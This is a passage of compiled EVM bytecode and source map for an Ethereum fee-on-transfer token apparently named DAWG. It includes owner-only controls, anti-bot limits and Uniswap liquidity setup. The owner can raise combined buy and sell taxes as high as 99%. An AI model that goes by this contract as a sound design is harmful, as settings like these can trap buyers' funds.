00000000000000000000000000000000008152600401610bd89061390f565b60405180910390fd5b806005819055505f60016103e88461ffff166009600a610c01919061363f565b633b9aca00610c109190613689565b610c1a9190613689565b610c249190613862565b610c2e9190613892565b9050600654811015610c75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6c90613977565b60405180910390fd5b8060068190555050505050565b5f600360019054906101000a900460ff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1c90613714565b60405180910390fd5b60638183610d339190613995565b60ff161115610d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6e90613a13565b60405180910390fd5b81600360016101000a81548160ff021916908360ff1602179055508060035f6101000a81548160ff021916908360ff1602179055505050565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a90613714565b60405180910390fd5b5f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861635f604051610ef19190613376565b60405180910390a1565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4441574700000000000000000000000000000000000000000000000000000000815250905090565b5f600854905090565b5f610f9a33611be3565b610fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd0906137e4565b60405180910390fd5b610fe4338484611cb5565b905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611079576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107090613714565b60405180910390fd5b60145f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa90613a7b565b60405180910390fd5b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600754905090565b5f600554905090565b5f600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611311576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130890613714565b60405180910390fd5b8363ffffffff168563ffffffff166009600a61132d919061363f565b633b9aca0061133c9190613689565b6113469190613689565b6113509190613862565b6007819055508163ffffffff168363ffffffff166009600a611372919061363f565b633b9aca006113819190613689565b61138b9190613689565b6113959190613862565b60088190555066038d7ea4c680008163ffffffff166113b49190613aab565b66ffffffffffffff16600981905550600754600854101561140a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140190613b31565b60405180910390fd5b5050505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461149e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149590613714565b60405180910390fd5b6001601560016101000a81548160ff0219169083151502179055505f73ffffffffffffffffffffffffffffffffffffffff1660135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611548576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153f90613b99565b60405180910390fd5b60155f9054906101000a900460ff1615611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613c01565b60405180910390fd5b5f3411806115a457505f47115b6115e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115da90613c69565b60405180910390fd5b5f600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411611662576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165990613cd1565b60405180910390fd5b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116f09190613d03565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b815260040161174a929190613d2e565b6020604051808303815f875af1158015611766573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061178a9190613d03565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611810600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205447612387565b600a54600b5f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461187f9190613802565b9250508190555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161194e9190613d99565b5f604051808303815f865af19150503d805f8114611987576040519150601f19603f3d011682016040523d82523d5f602084013e61198c565b606091505b505060145f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8291906101000a81548160ff0219169083151502179055505060145f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611ab0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa790613df9565b60405180910390fd5b611ab861245e565b5f601560016101000a81548160ff021916908315150217905550565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5890613714565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611bcf9190613e72565b60405180910390a150565b5f600654905090565b5f805f905060155f9054906101000a900460ff1615611c055760019050611cac565b600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611ca1575060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611cab57600190505b5b80915050919050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90613ed5565b60405180910390fd5b60155f9054906101000a900460ff16611e1357600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611dd3575060105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611e12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0990613f3d565b60405180910390fd5b5b601560019054906101000a900460ff16158015611e76575060145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611e875750611e868261250d565b5b15611e9557611e94612703565b5b600454431061212b5760025443108015611ef5575060145f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611f69573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5f90613fa5565b60405180910390fd5b5b610258600254611f799190613892565b43108015611fcd575060145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561200557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561212a576001600d5f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282829054906101000a900460ff166120729190613995565b92506101000a81548160ff021916908360ff1602179055506002600d5f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff161115612129576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212090613fa5565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561219357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156121ea57505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561223a576121fa848484612825565b612239576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122309061400d565b60405180910390fd5b5b5f6122468585856129ad565b90505f81846122559190613802565b905083600b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546122a39190613802565b9250508190555081600a5f8282546122bb9190613892565b9250508190555080600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461230e9190613892565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516123729190613121565b60405180910390a36001925050509392505050565b61239082612b76565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f8060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161241696959493929190614064565b60606040518083038185885af1158015612432573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061245791906140d7565b5050505050565b60646009600a61246e919061363f565b633b9aca0061247d9190613689565b60026124899190613689565b6124939190613862565b60058190555060646009600a6124a9919061363f565b633b9aca006124b89190613689565b60026124c49190613689565b6124ce9190613862565b600681905550436004819055506004546002546124eb9190613892565b600281905550600160155f6101000a81548160ff021916908315150217905550565b5f805f60095411156126d6575f600b5f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff166370a0823160135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016125f69190613376565b602060405180830381865afa158015612611573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906126359190614127565b90505f8282876126459190613689565b61264f9190613862565b905060095481106126ce576005600e5f4381526020019081526020015f205f9054906101000a900460ff1660ff1610156126cd57600193506001600e5f4381526020019081526020015f205f8282829054906101000a900460ff166126b49190613995565b92506101000a81548160ff021916908360ff1602179055505b5b5050506126db565b600190505b6005600e5f4381526020019081526020015f205f9054906101000a9050505080915050919050565b6001601560016101000a81548160ff0219169083151502179055505f600a5490506007548110158015612741575060155f9054906101000a900460ff165b156128085760085481106127555760085490505b5f8190506009600a612767919061363f565b60016127739190613689565b8111156127ef5781600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546127c69190613892565b925050819055506127d681612d58565b81600a5f8282546127e79190613802565b925050819055505b5f4790505f8111156128055761280481612efe565b5b50505b505f601560016101000a81548160ff021916908315150217905550565b5f806001905060155f9054906101000a900460ff16801561288d575060105f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156128e0575060105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156129a2576005548311156128f7575f90506129a1565b60145f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015612997575060065483600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546129959190613892565b115b156129a0575f90505b5b5b809150509392505050565b5f8060155f9054906101000a900460ff161580612a105750600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80612a615750600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612a6e575f9050612b6b565b60145f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612aee576064600360019054906101000a900460ff1660ff1684612add9190613689565b612ae79190613862565b9050612b6a565b60145f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612b6957606460035f9054906101000a900460ff1660ff1684612b5c9190613689565b612b669190613862565b90505b5b5b809150509392505050565b80600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015612d55577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff604051612d4c9190613121565b60405180910390a35b50565b612d6181612b76565b5f600267ffffffffffffffff811115612d7d57612d7c614152565b5b604051908082528060200260200182016040528015612dab5781602001602082028036833780820191505090505b50905030815f81518110612dc257612dc161417f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110612e3157612e3061417f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612ecd959493929190614263565b5f604051808303815f87803b158015612ee4575f80fd5b505af1158015612ef6573d5f803e3d5ffd5b505050505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612f62573d5f803e3d5ffd5b5050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612f9d578082015181840152602081019050612f82565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612fc282612f66565b612fcc8185612f70565b9350612fdc818560208601612f80565b612fe581612fa8565b840191505092915050565b5f6020820190508181035f8301526130088184612fb8565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61303d82613014565b9050919050565b61304d81613033565b8114613057575f80fd5b50565b5f8135905061306881613044565b92915050565b5f819050919050565b6130808161306e565b811461308a575f80fd5b50565b5f8135905061309b81613077565b92915050565b5f80604083850312156130b7576130b6613010565b5b5f6130c48582860161305a565b92505060206130d58582860161308d565b9150509250929050565b5f8115159050919050565b6130f3816130df565b82525050565b5f60208201905061310c5f8301846130ea565b92915050565b61311b8161306e565b82525050565b5f6020820190506131345f830184613112565b92915050565b613143816130df565b811461314d575f80fd5b50565b5f8135905061315e8161313a565b92915050565b5f805f6060848603121561317b5761317a613010565b5b5f6131888682870161305a565b935050602061319986828701613150565b92505060406131aa86828701613150565b9150509250925092565b5f805f606084860312156131cb576131ca613010565b5b5f6131d88682870161305a565b93505060206131e98682870161305a565b92505060406131fa8682870161308d565b9150509250925092565b5f60ff82169050919050565b61321981613204565b82525050565b5f6020820190506132325f830184613210565b92915050565b5f6020828403121561324d5761324c613010565b5b5f61325a8482850161305a565b91505092915050565b5f6040820190506132765f8301856130ea565b61328360208301846130ea565b9392505050565b5f61ffff82169050919050565b6132a08161328a565b81146132aa575f80fd5b50565b5f813590506132bb81613297565b92915050565b5f80604083850312156132d7576132d6613010565b5b5f6132e4858286016132ad565b92505060206132f5858286016132ad565b9150509250929050565b61330881613204565b8114613312575f80fd5b50565b5f81359050613323816132ff565b92915050565b5f806040838503121561333f5761333e613010565b5b5f61334c85828601613315565b925050602061335d85828601613315565b9150509250929050565b61337081613033565b82525050565b5f6020820190506133895f830184613367565b92915050565b5f80604083850312156133a5576133a4613010565b5b5f6133b28582860161305a565b92505060206133c38582860161305a565b9150509250929050565b5f63ffffffff82169050919050565b6133e5816133cd565b81146133ef575f80fd5b50565b5f81359050613400816133dc565b92915050565b5f805f805f60a0868803121561341f5761341e613010565b5b5f61342c888289016133f2565b955050602061343d888289016133f2565b945050604061344e888289016133f2565b935050606061345f888289016133f2565b9250506080613470888289016133f2565b9150509295509295909350565b5f61348782613014565b9050919050565b6134978161347d565b81146134a1575f80fd5b50565b5f813590506134b28161348e565b92915050565b5f602082840312156134cd576134cc613010565b5b5f6134da848285016134a4565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561356557808604811115613541576135406134e3565b5b60018516156135505780820291505b808102905061355e85613510565b9450613525565b94509492505050565b5f8261357d5760019050613638565b8161358a575f9050613638565b81600181146135a057600281146135aa576135d9565b6001915050613638565b60ff8411156135bc576135bb6134e3565b5b8360020a9150848211156135d3576135d26134e3565b5b50613638565b5060208310610133831016604e8410600b841016171561360e5782820a905083811115613609576136086134e3565b5b613638565b61361b848484600161351c565b92509050818404811115613632576136316134e3565b5b81810290505b9392505050565b5f6136498261306e565b915061365483613204565b92506136817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461356e565b905092915050565b5f6136938261306e565b915061369e8361306e565b92508282026136ac8161306e565b915082820484148315176136c3576136c26134e3565b5b5092915050565b7f4f6e6c79206f776e65722063616e2063616c6c207468697300000000000000005f82015250565b5f6136fe601883612f70565b9150613709826136ca565b602082019050919050565b5f6020820190508181035f83015261372b816136f2565b9050919050565b7f43616e6e6f74206578656d7074204c50000000000000000000000000000000005f82015250565b5f613766601083612f70565b915061377182613732565b602082019050919050565b5f6020820190508181035f8301526137938161375a565b9050919050565b7f54726164696e67206e6f74206f70656e000000000000000000000000000000005f82015250565b5f6137ce601083612f70565b91506137d98261379a565b602082019050919050565b5f6020820190508181035f8301526137fb816137c2565b9050919050565b5f61380c8261306e565b91506138178361306e565b925082820390508181111561382f5761382e6134e3565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61386c8261306e565b91506138778361306e565b92508261388757613886613835565b5b828204905092915050565b5f61389c8261306e565b91506138a78361306e565b92508282019050808211156138bf576138be6134e3565b5b92915050565b7f747820746f6f206c6f77000000000000000000000000000000000000000000005f82015250565b5f6138f9600a83612f70565b9150613904826138c5565b602082019050919050565b5f6020820190508181035f830152613926816138ed565b9050919050565b7f77616c6c657420746f6f206c6f770000000000000000000000000000000000005f82015250565b5f613961600e83612f70565b915061396c8261392d565b602082019050919050565b5f6020820190508181035f83015261398e81613955565b9050919050565b5f61399f82613204565b91506139aa83613204565b9250828201905060ff8111156139c3576139c26134e3565b5b92915050565b7f526f756e647472697020746f6f206869676800000000000000000000000000005f82015250565b5f6139fd601283612f70565b9150613a08826139c9565b602082019050919050565b5f6020820190508181035f830152613a2a816139f1565b9050919050565b7f4c502063616e6e6f74206265207461782077616c6c65740000000000000000005f82015250565b5f613a65601783612f70565b9150613a7082613a31565b602082019050919050565b5f6020820190508181035f830152613a9281613a59565b9050919050565b5f66ffffffffffffff82169050919050565b5f613ab582613a99565b9150613ac083613a99565b9250828202613ace81613a99565b9150808214613ae057613adf6134e3565b5b5092915050565b7f4d696e2d4d6178206572726f72000000000000000000000000000000000000005f82015250565b5f613b1b600d83612f70565b9150613b2682613ae7565b602082019050919050565b5f6020820190508181035f830152613b4881613b0f565b9050919050565b7f4c502063726561746564000000000000000000000000000000000000000000005f82015250565b5f613b83600a83612f70565b9150613b8e82613b4f565b602082019050919050565b5f6020820190508181035f830152613bb081613b77565b9050919050565b7f74726164696e67206f70656e00000000000000000000000000000000000000005f82015250565b5f613beb600c83612f70565b9150613bf682613bb7565b602082019050919050565b5f6020820190508181035f830152613c1881613bdf565b9050919050565b7f4e6f2045544800000000000000000000000000000000000000000000000000005f82015250565b5f613c53600683612f70565b9150613c5e82613c1f565b602082019050919050565b5f6020820190508181035f830152613c8081613c47565b9050919050565b7f4e6f20746f6b656e7300000000000000000000000000000000000000000000005f82015250565b5f613cbb600983612f70565b9150613cc682613c87565b602082019050919050565b5f6020820190508181035f830152613ce881613caf565b9050919050565b5f81519050613cfd81613044565b92915050565b5f60208284031215613d1857613d17613010565b5b5f613d2584828501613cef565b91505092915050565b5f604082019050613d415f830185613367565b613d4e6020830184613367565b9392505050565b5f81519050919050565b5f81905092915050565b5f613d7382613d55565b613d7d8185613d5f565b9350613d8d818560208601612f80565b80840191505092915050565b5f613da48284613d69565b915081905092915050565b7f4661696c656420626f6f747374726170000000000000000000000000000000005f82015250565b5f613de3601083612f70565b9150613dee82613daf565b602082019050919050565b5f6020820190508181035f830152613e1081613dd7565b9050919050565b5f819050919050565b5f613e3a613e35613e3084613014565b613e17565b613014565b9050919050565b5f613e4b82613e20565b9050919050565b5f613e5c82613e41565b9050919050565b613e6c81613e52565b82525050565b5f602082019050613e855f830184613e63565b92915050565b7f4e6f207472616e73666572732066726f6d20302077616c6c65740000000000005f82015250565b5f613ebf601a83612f70565b9150613eca82613e8b565b602082019050919050565b5f6020820190508181035f830152613eec81613eb3565b9050919050565b7f54726164696e67206e6f7420796574206f70656e0000000000000000000000005f82015250565b5f613f27601483612f70565b9150613f3282613ef3565b602082019050919050565b5f6020820190508181035f830152613f5481613f1b565b9050919050565b7f4d455620626c6f636b00000000000000000000000000000000000000000000005f82015250565b5f613f8f600983612f70565b9150613f9a82613f5b565b602082019050919050565b5f6020820190508181035f830152613fbc81613f83565b9050919050565b7f5458206f766572206c696d6974730000000000000000000000000000000000005f82015250565b5f613ff7600e83612f70565b915061400282613fc3565b602082019050919050565b5f6020820190508181035f83015261402481613feb565b9050919050565b5f819050919050565b5f61404e6140496140448461402b565b613e17565b61306e565b9050919050565b61405e81614034565b82525050565b5f60c0820190506140775f830189613367565b6140846020830188613112565b6140916040830187614055565b61409e6060830186614055565b6140ab6080830185613367565b6140b860a0830184613112565b979650505050505050565b5f815190506140d181613077565b92915050565b5f805f606084860312156140ee576140ed613010565b5b5f6140fb868287016140c3565b935050602061410c868287016140c3565b925050604061411d868287016140c3565b9150509250925092565b5f6020828403121561413c5761413b613010565b5b5f614149848285016140c3565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6141de81613033565b82525050565b5f6141ef83836141d5565b60208301905092915050565b5f602082019050919050565b5f614211826141ac565b61421b81856141b6565b9350614226836141c6565b805f5b8381101561425657815161423d88826141e4565b9750614248836141fb565b925050600181019050614229565b5085935050505092915050565b5f60a0820190506142765f830188613112565b6142836020830187614055565b81810360408301526142958186614207565b90506142a46060830185613367565b6142b16080830184613112565b969550505050505056fea2646970667358221220656d941f09c39694f1cc919a0b8d4b72f22da9abe2a64f8d59afbd8dc910165064736f6c63430008170033

Deployed Bytecode Sourcemap

1582:12143:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4100:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4548:211;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4006:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10361:240;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4993:298;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10685:72;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10215:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;3920:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11738:436;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10609:70;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10765:207;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4276:115;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;586:130;;;;;;;;;;;;;:::i;:::-;;10982:97;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;358:65;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4186:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11649:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4767:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11087:276;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11562:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11465:89;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4397:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12182:325;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5624:697;;;:::i;:::-;;429:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11371:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4100:80;4148:13;4172:5;;;;;;;;;;;;;;;;;4165:12;;4100:80;:::o;4548:211::-;4623:4;4675:6;4640:11;:23;4652:10;4640:23;;;;;;;;;;;;;;;:32;4664:7;4640:32;;;;;;;;;;;;;;;:41;;;;4718:7;4697:37;;4706:10;4697:37;;;4727:6;4697:37;;;;;;:::i;:::-;;;;;;;;4752:4;4745:11;;4548:211;;;;:::o;4006:88::-;4061:7;1755:1;1817:2;:13;;;;:::i;:::-;1803:10;:28;;;;:::i;:::-;4072:19;;4006:88;:::o;10361:240::-;223:6;;;;;;;;;;209:20;;:10;:20;;;201:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;10459:8:::1;:18;;;;10471:6;10459:18;10455:69;;;10490:5;:10;10496:3;10490:10;;;;;;;;;;;;;;;;;;;;;;;;;10489:11;10481:40;;;;;;;;;;;;:::i;:::-;;;;;;;;;10455:69;10550:6;10